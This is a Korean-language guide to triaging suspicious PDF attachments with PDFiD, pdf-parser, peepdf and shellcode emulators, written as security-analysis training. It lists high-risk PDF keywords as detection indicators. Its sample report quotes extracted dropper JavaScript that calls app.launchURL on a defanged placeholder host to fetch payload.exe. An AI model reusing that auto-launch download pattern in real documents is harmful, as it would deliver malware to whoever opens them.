PDFiD를 활용한 악성 PDF 분석은(는) 무엇을 하나요?
사용 시점
- 이메일 보안에서 의심스러운 PDF 첨부파일이 플래그되거나 사용자가 신고한 경우
- PDF에 JavaScript, 셸코드 또는 익스플로잇 코드가 포함되어 있는지 확인해야 하는 경우
- PDF 문서를 샌드박스나 분석 환경에서 열기 전에 사전 분류하는 경우
- 악성 PDF 객체에서 임베디드 실행 파일, 스크립트 또는 URL을 추출하는 경우
- Adobe Reader 또는 기타 PDF 뷰어 취약점을 대상으로 하는 PDF 익스플로잇 킷을 분석하는 경우
사용하지 말아야 할 경우: PDF의 렌더링된 시각적 콘텐츠를 분석하는 경우에는 사용하지 마십시오. 이 스킬은 악성 객체를 위한 PDF 파일 형식의 구조적 분석을 위한 것입니다.
사전 요구 사항
- Python 3.8+ 및 Didier Stevens의 PDF 도구 설치 (
pip install pdfid pdf-parser) - 대화형 PDF 분석을 위한 peepdf 설치 (
pip install peepdf) - 안전하게 텍스트 콘텐츠를 추출하기 위한 poppler-utils의 pdftotext
- 악성코드 계열 식별을 위한 PDF 특화 규칙을 갖춘 YARA
- PDF 리더가 설치되지 않은 격리된 분석 VM (우발적 열기 방지)
- 임베디드 Base64, 16진수 또는 deflate 스트림 디코딩을 위한 CyberChef
워크플로우
1단계: PDFiD를 사용한 초기 분류
의심스러운 키워드와 구조를 PDF에서 스캔합니다:
# 의심 요소 식별을 위해 PDFiD 실행
pdfid suspect.pdf
# 예상 출력 분석:
# /JS - JavaScript (높은 위험)
# /JavaScript - JavaScript 객체 (높은 위험)
# /AA - 열릴 때 자동 실행 작업 (높은 위험)
# /OpenAction - 문서 열기 시 작업 (높은 위험)
# /Launch - 외부 애플리케이션 실행 (높은 위험)
# /EmbeddedFile - 임베디드 파일 (중간 위험)
# /RichMedia - Flash 콘텐츠 (중간 위험)
# /ObjStm - 객체 스트림 (난독화에 사용됨)
# /URI - URL 참조 (맥락적 위험)
# /AcroForm - 대화형 양식 (중간 위험)
# 추가 세부 정보로 실행
pdfid -e suspect.pdf
# 무장 해제(의심 키워드 이름 변경)와 함께 실행
pdfid -d suspect.pdf
PDFiD 위험 평가:
━━━━━━━━━━━━━━━━━━━━━
높은 위험 지표 (개수 > 0):
/JS, /JavaScript -> 임베디드 JavaScript 코드
/AA -> 자동 작업 (사용자 상호작용 없이 트리거)
/OpenAction -> 문서가 열릴 때 코드 실행
/Launch -> 외부 실행 파일을 실행할 수 있음
/JBIG2Decode -> CVE-2009-0658 익스플로잇과 관련됨
중간 위험 지표:
/EmbeddedFile -> 임베디드 파일 포함 (EXE/DLL 가능)
/RichMedia -> Flash/멀티미디어 (Flash 익스플로잇)
/AcroForm -> 제출 작업이 가능한 양식
/XFA -> XML Forms Architecture (복잡한 공격 표면)
낮은 위험 지표:
/ObjStm -> 객체 스트림 (난독화 기법)
/URI -> 외부 URL 참조
/Page -> 페이지 수 (맥락만)
2단계: pdf-parser를 사용한 PDF 구조 분석
PDFiD가 식별한 의심스러운 객체를 조사합니다:
# JavaScript를 참조하는 모든 객체 나열
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
# OpenAction이 있는 모든 객체 나열
pdf-parser --search "/OpenAction" suspect.pdf
# 특정 객체 ID로 추출 (예: 객체 5)
pdf-parser --object 5 suspect.pdf
# 스트림 콘텐츠 추출 및 압축 해제
pdf-parser --object 5 --filter --raw suspect.pdf
# 임베디드 파일 검색
pdf-parser --search "/EmbeddedFile" suspect.pdf
# 모든 객체를 유형별로 나열
pdf-parser --stats suspect.pdf
3단계: 임베디드 JavaScript 추출 및 분석
PDF 객체에서 JavaScript 코드를 꺼냅니다:
# pdf-parser를 사용하여 JavaScript 추출
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
# 대안: 대화형 JavaScript 추출을 위해 peepdf 사용
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
# JS 분석을 위한 peepdf 대화형 명령어:
# js_analyse - 모든 JavaScript 코드 추출 및 표시
# js_beautify - 추출된 JavaScript 정리
# js_eval <object> - 샌드박스 환경에서 JavaScript 평가
# object <id> - 객체 콘텐츠 표시
# rawobject <id> - 원시 객체 바이트 표시
# stream <id> - 압축 해제된 스트림 표시
# offsets - 파일 내 객체 오프셋 표시
# 포괄적인 PDF JavaScript 추출을 위한 Python 스크립트
import subprocess
import re
# 모든 스트림 추출 및 JavaScript 검색
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
# JavaScript 참조를 포함하는 객체 ID 찾기
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
# 각 JavaScript 포함 객체 추출
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== 객체 {obj_id} ===")
print(result.stdout[:2000])
4단계: 임베디드 셸코드 분석
PDF 익스플로잇에서 셸코드를 추출하고 검사합니다:
# 셸코드 분석을 위한 원시 스트림 데이터 추출
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
# scdbg(셸코드 디버거)로 셸코드 분석
scdbg /f shellcode.bin
# 대안: speakeasy를 사용한 셸코드 에뮬레이션
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# 셸코드가 수행한 API 호출 검토
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
# CyberChef를 사용하여 16진수/base64 인코딩된 셸코드 디코딩
# 입력: 추출된 스트림 데이터
# 레시피: 16진수에서 변환 -> x86 디스어셈블
5단계: 임베디드 파일 및 URL 추출
임베디드 실행 파일과 연결된 리소스를 꺼냅니다:
# PDF에서 임베디드 파일 추출
import subprocess
import hashlib
# 임베디드 파일 객체 찾기
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
# MZ 헤더를 검색하여 임베디드 PE 파일 추출
with open("suspect.pdf", "rb") as f:
data = f.read()
# 임베디드 PE 파일 검색
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
# PE 시그니처 확인
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"임베디드 PE 발견 (오프셋 0x{pos:X})")
# 추출 (PE 헤더 사용 또는 크기 추정)
embedded = data[pos:pos+100000] # 초기 추출
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embedded_{pos:X}.exe", "wb") as out:
out.write(embedded)
print(f" SHA-256: {sha256}")
offset = pos + 1
# PDF에서 URL 추출
result = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>\"]+)', result.stdout)
for url in set(urls):
print(f"URL: {url}")
6단계: 분석 보고서 생성
PDF 분석의 모든 결과를 문서화합니다:
분석 내용:
- PDFiD 분류 결과 (의심 키워드 개수)
- PDF 구조 이상 (객체 스트림, 교차 참조 문제)
- 추출된 JavaScript 코드 (필요시 디난독화)
- 셸코드 분석 결과 (API 호출, 네트워크 지표)
- 해시와 함께 추출된 임베디드 파일
- URL 및 외부 참조
- 알려진 익스플로잇 감지 시 CVE 식별
- 알려진 PDF 악성코드 계열에 대한 YARA 규칙 일치
주요 개념
| 용어 | 정의 |
|---|---|
| PDF 객체 | PDF 파일의 기본 구성 요소; 객체는 스트림(압축 데이터), 사전, 배열 및 다른 객체에 대한 참조를 포함할 수 있음 |
| OpenAction | 문서가 열릴 때 실행할 작업을 지정하는 PDF 사전 항목; JavaScript 익스플로잇을 트리거하는 데 흔히 사용됨 |
| PDF 스트림 | PDF 객체 내의 압축된 데이터로, JavaScript, 이미지, 임베디드 파일 또는 셸코드를 포함할 수 있음; 일반적으로 FlateDecode로 압축됨 |
| FlateDecode | PDF 스트림에 적용되는 Zlib/deflate 압축 필터; 콘텐츠를 분석하려면 압축을 풀어야 함 |
| ObjStm (객체 스트림) | 여러 객체를 단일 압축 스트림 내에 저장하는 PDF 기능; 악성코드가 단순한 파서에서 의심스러운 객체를 숨기는 데 사용함 |
| JBIG2 | PDF의 이미지 압축 표준; 익스플로잇의 역사적 원천 (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |
| PDF JavaScript API | 양식 조작, 네트워크 액세스 및 OS 상호작용을 위해 PDF 문서에서 사용 가능한 Adobe 특화 JavaScript 확장 |
도구 및 시스템
- PDFiD: 전체 문서를 구문 분석하지 않고 PDF 문서에서 의심스러운 키워드와 구조를 스캔하는 Didier Stevens의 도구
- pdf-parser: PDFiD의 동반 도구로, 상세한 PDF 객체 추출, 스트림 압축 해제 및 콘텐츠 분석을 제공함
- peepdf: 객체 검사 및 JavaScript 추출을 위한 대화형 셸을 제공하는 Python 기반 PDF 분석 도구
- QPDF: 더 쉬운 분석을 위해 PDF를 선형화, 복호화 및 재구성하는 PDF 변환 도구
- scdbg: x86 셸코드 실행을 에뮬레이션하고 API 호출을 기록하는 셸코드 분석 도구
일반적인 시나리오
시나리오: 임베디드 JavaScript가 포함된 피싱 PDF 분류
컨텍스트: 이메일 게이트웨이가 의심스러운 JavaScript 지표가 있는 PDF 첨부파일을 플래그했습니다. 보안 팀은 익스플로잇이 포함되어 있는지 또는 사회 공학 리디렉션인지 확인해야 합니다.
접근법:
- PDFiD를 실행하여 /JS, /JavaScript 및 /OpenAction의 존재와 개수를 확인합니다.
- pdf-parser를 사용하여 OpenAction 객체를 추출하고 참조 체인을 추적합니다.
- 참조된 스트림 객체에서 JavaScript 코드를 추출합니다(FlateDecode 필터 적용).
- JavaScript를 디난독화합니다(16진수 문자열 디코드, eval 체인 해결).
- 스크립트가 PDF 리더 취약점(힙 스프레이, ROP 체인 확인)을 익스플로잇하는지 또는 리디렉션을 수행하는지 확인합니다.
- 모든 URL, IP 및 임베디드 파일을 IOCs로 추출합니다.
- 샘플을 분류합니다: 익스플로잇(특정 CVE) 또는 사회 공학(리디렉션/피싱).
함정:
- 명령줄 도구로 분석하는 대신 표준 리더에서 PDF를 여는 행위
- PDFiD가 감지하지만 단순한 파서가 놓치는 객체 스트림(/ObjStm) 내부에 숨겨진 JavaScript를 발견하지 못함
- 분석 전에 스트림 압축 해제를 하지 않음(FlateDecode, ASCIIHexDecode, ASCII85Decode 필터)
- /JS가 없다고 JavaScript가 없는 것으로 간주함; 코드는 양식 필드(/AcroForm with /XFA)에 삽입될 수 있음
출력 형식
PDF 악성코드 분석 보고서
==============================
파일: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
파일 크기: 45,312 바이트
PDF 버전: 1.7
PDFID 분류
/JS: 1 [높은 위험]
/JavaScript: 1 [높은 위험]
/OpenAction: 1 [높은 위험]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [난독화]
의심스러운 객체
객체 5: /OpenAction -> 객체 8 참조
객체 8: /JavaScript 스트림 (FlateDecode, 압축 해제 시 2,847 바이트)
객체 12: 객체 15-18을 포함하는 /ObjStm
추출된 JavaScript
계층 1: eval(unescape("%68%65%6C%6C%6F"))
계층 2: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// 사회 공학 리디렉션, 익스플로잇 아님
추출된 IOCs
URL: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
도메인: malicious[.]com, fake-login[.]com
분류
유형: 사회 공학 (URL 리디렉션)
CVE: 없음 (익스플로잇 코드 미감지)
위험: 높음 (실행 가능 페이로드 다운로드)
계열: 일반 PDF 드로퍼